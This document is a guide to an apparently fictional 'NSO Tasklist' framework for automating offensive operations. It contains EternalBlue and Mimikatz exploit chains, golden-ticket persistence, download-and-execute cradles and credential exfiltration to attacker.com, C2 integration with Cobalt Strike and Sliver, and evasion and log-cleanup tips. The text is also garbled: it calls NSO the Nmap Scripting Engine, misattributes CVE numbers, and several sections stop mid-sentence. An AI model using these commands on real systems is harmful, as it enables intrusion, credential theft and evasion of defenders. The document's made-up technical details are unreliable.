Advanced Tasklist Development: Syntax, Scripting, and Automation

Syntax Structure of NSO Tasklist Scripts

- Headers: Mandatory declarations such as `version`, `author`, and `description`, which define script context and compatibility.

Example Header Structure:

version: 2.0
author: RedTeamOps
description: Multi-stage exploit chain for Windows AD environments
dependencies: [powershell, mimikatz, eternalblue]

Multi-Stage Tasklist Example: EternalBlue → Mimikatz → Domain Persistence

version: 2.0
author: RedTeamOps
description: Exploit chain for EternalBlue → Mimikatz → Golden Ticket persistence

# Stage 1: EternalBlue Exploitation (Metasploit)
task exploit_eternalblue:
command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS $TARGET_IP; exploit; exit"
success_condition: "Sessions" in output
error_condition: "Connection failed" or "Exploit completed, but no session was created"

# Stage 2: Mimikatz Dumping Credentials (Post-Exploitation)
task dump_credentials:
depends_on: exploit_eternalblue
command: powershell -ep bypass -c "Invoke-Mimikatz -Command '"'sekurlsa::logonpasswords'"'"
success_condition: "NTLM" in output
error_condition: "Access denied" or "No credentials found"

# Stage 3: Golden Ticket Creation (Domain Persistence)
task create_golden_ticket:
depends_on: dump_credentials
command: > python3 goldenTicket.py -domain $DOMAIN -sid $DOMAIN_SID -aes $AES_HASH -user $TARGET_USER -output ticket.kirbi
success_condition: "ticket.kirbi" in files
error_condition: "Invalid SID" or "AES hash mismatch"

# Stage 4: Pass-the-Ticket (Lateral Movement)
task pass_the_ticket:
depends_on: create_golden_ticket
command: > runas /netonly /user:$DOMAIN\\$TARGET_USER ticket.kirbi cmd.exe /c "whoami /priv"
success_condition: "SE_IMPERSONATE_NAME" in output


Key Features:

Automating Tasklist Generation with Python and PowerShell

#### Method 1: Python Script for CSV-to-Tasklist Conversion
Python’s `pandas` library can parse CSV files containing exploit parameters (e.g., IPs, credentials) and generate corresponding NSO scripts. Example:

import pandas as pd

def generate_tasklist(csv_path, output_file):
df = pd.read_csv(csv_path)
with open(output_file, 'w') as f:
f.write("version: 2.0\nauthor: AutoGen\n")
for _, row in df.iterrows():
f.write(f"\ntask exploit_{row['target']}:\n")
f.write(f" command: msfconsole -q -x \"use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS {row['ip']}; exploit\"\n")
f.write(f" success_condition: \"Sessions\" in output\n")

generate_tasklist("targets.csv", "auto_tasklist.nso")

Input CSV (`targets.csv`):

target,ip
server1,192.168.1.10
server2,192.168.1.20

#### Method 2: PowerShell for Dynamic Tasklist Assembly
PowerShell’s `Import-Csv` and string templating enable real-time tasklist generation. Example:

$tasks = Import-Csv "targets.csv"
$output = @"
version: 2.0
author: AutoGen-PS
"@

foreach ($task in $tasks) {
$output += @"
task scan_$($task.target):
command: nmap -p 445 $($task.ip)
success_condition: "open" in output
"@
}

$output | Out-File "powershell_tasklist.nso"

Use Cases:

Error Handling and Logging in NSO Tasklist

- Output Redirection: Redirect `stdout`/`stderr` to files using shell operators (`>`, `2>`).
Example:

task noisy_command:
command: whoami > output.log 2> error.log

- Verbose Suppression: Use `quiet` flag or pipe output to `/dev/null` (Linux) or `NUL` (Windows).
Example:

task silent_ping:
command: ping -n 1 $IP > NUL

- Custom Error Messages: Define `error_condition` with regex to trigger fallbacks.
Example:

error_condition: "timeout" or "refused"
fallback: task retry_connection

Logging Best Practices:

Obfuscation Techniques to Evade Detection

Best Practices for Obfuscation:
1. Encoding: Base64-encode commands and decode at runtime.
Example:

task encoded_payload:
command: echo "YmFzZTY0Cg==" | base64 -d | bash

2. Dynamic Payloads: Fetch payloads from external sources (C2) via `curl`/`Invoke-WebRequest`.
Example:

task fetch_payload:
command: powershell -c "(New-Object Net.WebClient).DownloadString('http://c2.example/payload.ps1') | IEX"

3. Sleep Timers: Insert delays (`sleep 10`) between tasks to mimic

NSO Tasklist in Offensive Operations: Exploit Chains and Post-Exploitation

The NSO Tasklist framework extends beyond defensive and operational use cases by serving as a critical component in offensive cybersecurity operations. In post-exploitation scenarios, tasklists automate complex workflows such as privilege escalation, lateral movement, and credential harvesting while integrating seamlessly with custom exploit chains. This section explores the construction of tasklists tailored for offensive operations, emphasizing exploit chains (e.g., phishing → C2 beacon → tasklist execution → data exfiltration) and evasion techniques against modern detection mechanisms. Practical examples include leveraging known vulnerabilities (e.g., Juicy Potato, Dirty Pipe) for privilege escalation and embedding tasklists within C2 frameworks (Cobalt Strike, Sliver) to streamline adversary operations.

Tasklists in offensive operations function as modular, scriptable payloads that bridge initial access vectors with long-term persistence, reducing manual effort while maintaining operational stealth.

Building Tasklists for Privilege Escalation in Windows and Linux Environments

Privilege escalation tasklists automate the exploitation of known vulnerabilities to achieve SYSTEM/root access. Below are structured approaches for Windows and Linux, incorporating common exploits and mitigation bypasses.

Windows Privilege Escalation Tasklist Example
A tasklist for Windows can integrate Juicy Potato (CVE-2016-21017) or PrintNightmare (CVE-2021-1675) with fallback mechanisms for unpatched systems. The following components are essential:

Token Impersonation: Leveraging `token::elevate` or `juicypotato.exe` to escalate via service DLL hijacking.

Service Exploits: Abusing `sc.exe` or `regsvr32` for DLL injection into privileged services.

Kernel Exploits: Using DirtySock (CVE-2021-42278) or PrintSpoofer for unpatched systems.

Cleanup: Removing temporary files and logs to evade forensic analysis.

Linux Privilege Escalation Tasklist Example
Linux tasklists exploit Dirty Pipe (CVE-2022-0847), Sudo Barrier (CVE-2019-14287), or Polkit misconfigurations. Key steps include:

Capability Abuse: Modifying `/etc/sudoers` or exploiting `pkexec` with `--preserve-env`.

SUID Binaries: Abusing `find`, `bash`, or `vim` with SUID permissions.

Kernel Exploits: Deploying DirtyCow (CVE-2016-5195) or PwnKit (CVE-2021-4034) for unpatched kernels.

Container Breakout: If targeting Docker/Kubernetes, using `docker exec` or hostpath mounts.

Privilege escalation tasklists must include fallback mechanisms (e.g., alternative exploits) to adapt to patched or hardened environments.

Full Kill Chain Tasklist Integration: Phishing to Data Exfiltration

A structured kill chain tasklist automates the transition from initial access to data exfiltration. Below is a 4-stage table outlining tools, commands, and expected outcomes for a phishing → C2 beacon → tasklist execution → exfiltration workflow.

Stage	Tool/Technique	Command	Expected Outcome
Initial Access	Phishing (HTML/PDF)	powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/phish.ps1')"	Execution of malicious macro or script, establishing initial foothold.
C2 Beacon	Cobalt Strike / Sliver	beacon_output -i 192.168.1.100 -p 443 -l windows/x64/beacon_http	Stable C2 channel with command execution, persistence, and lateral movement capabilities.
Tasklist Execution	NSO Tasklist (Privilege Escalation)	nso tasklist run -f escalate.ntask --args "target=DC01,exploit=juicypotato"	Escalation to SYSTEM, followed by credential harvesting (LSASS dump, token theft).
Data Exfiltration	Mimikatz + Base64 Encoding	sekurlsa::logonpasswords | base64 -w 0 > %TEMP%\creds.b64 && curl -X POST -d @%TEMP%\creds.b64 http://attacker.com/exfil	Encoded credentials exfiltrated via HTTP POST to attacker-controlled server.

Kill chain tasklists must include error handling (e.g., retry logic for failed stages) and environment checks (e.g., OS detection) to ensure robustness.

Embedding Tasklists in C2 Frameworks (Cobalt Strike, Sliver)

Tasklists can be integrated into C2 frameworks via custom profiles, staging scripts, or post-exploitation modules. Below are implementation methods for Cobalt Strike and Sliver:

Cobalt Strike Integration
1. Custom Profiles:

Modify `teamserver/data/teamserver.pwn` to include a tasklist execution payload.

Example:

$tasklist_payload = @"
nso tasklist run -f post_ex.ntask --args "target=$COMPUTERNAME,output=$TEMP\loot"
"@
Invoke-Expression $tasklist_payload

- Deploy via `generate` → `Custom Profile`.

2. Post-Exploitation Modules:

Use PowerShell or C# stagers to inject tasklist execution into existing modules (e.g., `mimikatz`, `sharpdumps`).

Example (C# Stager):

using (var tasklist = new Process()) {
tasklist.StartInfo.FileName = "nso.exe";
tasklist.StartInfo.Arguments = "tasklist run -f harvest.ntask";
tasklist.Start();
}

Sliver Integration
1. Implant Scripting:

Use Sliver’s custom implant feature to embed tasklist execution:

func (i Implant) RunTasklist(c sliver.Client, args []string) error {
cmd := exec.Command("nso", append([]string{"tasklist", "run", "-f", args[0]}, args[1:]...))
output, err := cmd.CombinedOutput()
c.SendMsg(output)
return err
}

- Register via `sliver > implants > add custom`.

2. Tasklist as a C2 Command:

Define a new Sliver command (e.g., `tasklist`) that triggers NSO execution:

# sliver/config/commands.yaml
tasklist:
description: "Execute NSO tasklist"
usage: "tasklist [args]"
handler: "RunTasklist"

C2-integrated tasklists should support dynamic argument passing (e.g., target IPs, output paths) to adapt to varying environments.

Evasion Techniques for Tasklist Execution Against AV/EDR

Modern AV/EDR solutions detect tasklist execution via YARA signatures, process injection patterns, or unusual command-line arguments. Mitigation strategies include:

Signed Binaries and Process Injection

Sign NSO Binary: Use EV certificates (e.g., Sectigo, DigiCert) to sign `nso.exe` and bypass signature-based detection.

Process Injection: Inject tasklist logic into legitimate processes (e.g., `lsass.exe`, `svchost.exe`) using:

Direct

Tasklist Customization: Variables, Dynamic Payloads, and Environment Adaptation

Tasklist customization in NSO (Nmap Scripting Engine) extends beyond static command execution by integrating dynamic elements—environment variables, adaptive payloads, and conditional logic—to enhance precision, stealth, and effectiveness in cybersecurity operations. This section explores how to leverage system-specific variables, generate context-aware payloads, validate inputs rigorously, and implement conditional workflows to ensure tasklists operate reliably across diverse environments.

Dynamic adaptation reduces false positives, mitigates detection risks, and optimizes resource utilization by aligning actions with the target’s unique characteristics. Below, structured approaches detail the implementation of these techniques, including validation frameworks and best practices to avoid common pitfalls.

Environment Variables in NSO Tasklists

Environment variables provide real-time system context, enabling tasklists to execute commands tailored to the target’s configuration. NSO supports standard Windows environment variables (e.g., `$USERDOMAIN`, `$COMPUTERNAME`) and custom variables defined within the script or passed via input parameters.

Key Variables and Use Cases:

System Identification: `$COMPUTERNAME` or `$HOSTNAME` to reference the target machine uniquely.

User Context: `$USERNAME` or `$USERDOMAIN` to restrict operations to specific user sessions.

Path Adaptation: `%WINDIR%` or `%SYSTEMROOT%` to avoid hardcoded paths (e.g., `"%WINDIR%\System32\whoami.exe"`).

Temporary Directories: `%TEMP%` or `%TMP%` for staging files without conflicts.

Example: Dynamic Command Construction
```powershell
$targetPath = "$env:WINDIR\System32\$($env:COMPUTERNAME)_backup.exe"
New-Item -Path $targetPath -ItemType File -Value (ConvertTo-Base64String "malicious_payload")
```
This constructs a unique filename using the target’s hostname, reducing collision risks in post-exploitation scenarios.

Dynamic Payload Generation

Dynamic payloads enhance evasion by encoding commands, generating random identifiers, or obfuscating artifacts. NSO tasklists can integrate PowerShell, Python, or C2 frameworks to produce context-specific payloads at runtime.

Techniques for Adaptive Payloads:

Base64 Encoding: Obfuscate commands to bypass simple signature detection.

```powershell
$encodedCmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("powershell -ep bypass -c 'IEX (New-Object Net.WebClient).DownloadString(\"http://attacker.com/evil.ps1\")'"))
Invoke-Expression -EncodedCommand $encodedCmd
```

Random Filenames: Use cryptographic functions to generate unique names.

```powershell
$randomName = [System.Guid]::NewGuid().ToString().Replace("-", "") + ".exe"
```

Environment-Specific Payloads: Select payloads based on OS architecture (x86/x64) or installed software.

```powershell
if ([Environment]::Is64BitProcess) {
$payload = "x64_payload.exe"
} else {
$payload = "x86_payload.exe"
}
```

Integration with C2 Frameworks:
Dynamic payloads can be generated on-the-fly using frameworks like Cobalt Strike, Sliver, or Metasploit, where tasklists fetch payloads via API calls or encoded responses. Example:
```powershell
$c2Server = "http://attacker.com/api/payload"
$payload = (Invoke-WebRequest -Uri $c2Server -UseBasicParsing).Content
Start-Process -FilePath "cmd.exe" -ArgumentList "/c $payload"
```

Input Validation in Tasklists

Validation ensures tasklists execute only under safe, predictable conditions. NSO tasklists should verify inputs for null values, network availability, and system prerequisites before proceeding.

Validation Checklist:

Null/Empty Checks: Reject tasks with missing critical parameters.

```powershell
if (-not $args[0]) { throw "Error: Target IP cannot be null." }
```

Network Connectivity: Confirm reachability before sending payloads.

```powershell
if (-not (Test-Connection -ComputerName $targetIP -Count 1 -Quiet)) {
Write-Error "Target $targetIP is unreachable."
exit 1
}
```

File/Path Existence: Validate target paths before file operations.

```powershell
if (-not (Test-Path -Path "$env:TEMP\stager.bin")) {
Write-Warning "Stager file not found in $env:TEMP."
}
```

Privilege Validation: Check for administrative rights before sensitive operations.

```powershell
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Error "Requires elevated privileges."
exit 1
}
```

Automated Validation Framework:
Combine checks into a reusable function:
```powershell
function Validate-TasklistInput {
param([string]$TargetIP, [string]$PayloadPath)
if ([string]::IsNullOrEmpty($TargetIP)) { throw "Target IP is required." }
if (-not (Test-Path -Path $PayloadPath)) { throw "Payload file not found." }
if (-not (Test-Connection -ComputerName $TargetIP -Count 1 -Quiet)) { throw "Target unreachable." }
}
```

Conditional Task Execution

Conditional logic enables tasklists to adapt behavior based on system state, reducing noise and improving efficiency. NSO supports `if`, `switch`, and loop constructs to implement dynamic workflows.

System State Checks:

File/Registry Existence: Confirm targets before exploitation.

```powershell
if (Test-Path "C:\Windows\System32\whoami.exe") {

Proceed with lateral movement

Invoke-Command -ComputerName $target -ScriptBlock { whoami /all }
}
```

Service Status: Check if a service is running before manipulation.

```powershell
$service = Get-Service -Name "LanmanServer"
if ($service.Status -eq "Running") {

Exploit service misconfiguration

}
```

Patch Level Validation: Target systems with unpatched vulnerabilities.

```powershell
$osVersion = (Get-WmiObject Win32_OperatingSystem).Version
if ($osVersion -like "6.1.*") { # Windows 7

Execute EternalBlue exploit

}
```

Dynamic Task Chaining:
Use conditions to chain tasks logically:
```powershell
if (Test-Path "C:\secret\flag.txt") {
Copy-Item "C:\secret\flag.txt" -Destination "$env:TEMP\exfil.txt"
Invoke-WebRequest -Uri "http://attacker.com/upload" -Method Post -Body (Get-Content "$env:TEMP\exfil.txt")
} else {
Write-Warning "Flag file not found; skipping exfiltration."
}
```

Common Pitfalls and Mitigations

Pitfall: Hardcoded paths or filenames increase detection risks and fail across environments.
Mitigation: Use environment variables (`%WINDIR%`, `%TEMP%`) and dynamic generation (`[Guid]::NewGuid()`).

Pitfall: Lack of input validation leads to crashes or unintended execution.
Mitigation: Implement pre-execution checks for nulls, network status, and privileges.

Pitfall: Static payloads trigger signature-based detection.
Mitigation: Encode commands (Base64), randomize filenames, and fetch payloads dynamically from C2 servers.

Pitfall: Conditional logic errors cause silent failures or incorrect assumptions.
Mitigation: Log validation results and use explicit error handling (`try/catch`).

Pitfall: Over-reliance on single environment variables (e.g., `%USERPROFILE%`) may fail in non-standard setups.
Mitigation: Combine multiple checks (e.g., `Test-Path` + variable fallback).

Example: Robust Filename Generation
```powershell
$safeChars = [char[]](48..57 + 65..90 + 97..122) # 0-9, A-Z, a-z
$randomName = -join (1..16 | ForEach-Object { $safeChars[Get-Random -Minimum 0 -Maximum $safeChars.Length] }) + ".tmp"
```

Proficiency in NSO Tasklist is not merely about executing predefined scripts—it is about architecting flexible, context-aware automation that adapts to evolving threats and operational constraints. By mastering syntax, error handling, and dynamic payload generation, security professionals can refine their offensive capabilities, from privilege escalation to credential harvesting, while mitigating detection through obfuscation and system integration. This guide serves as both a technical manual and a strategic framework, ensuring that every tasklist deployed is a deliberate step toward achieving tactical superiority in adversary simulation and cybersecurity resilience.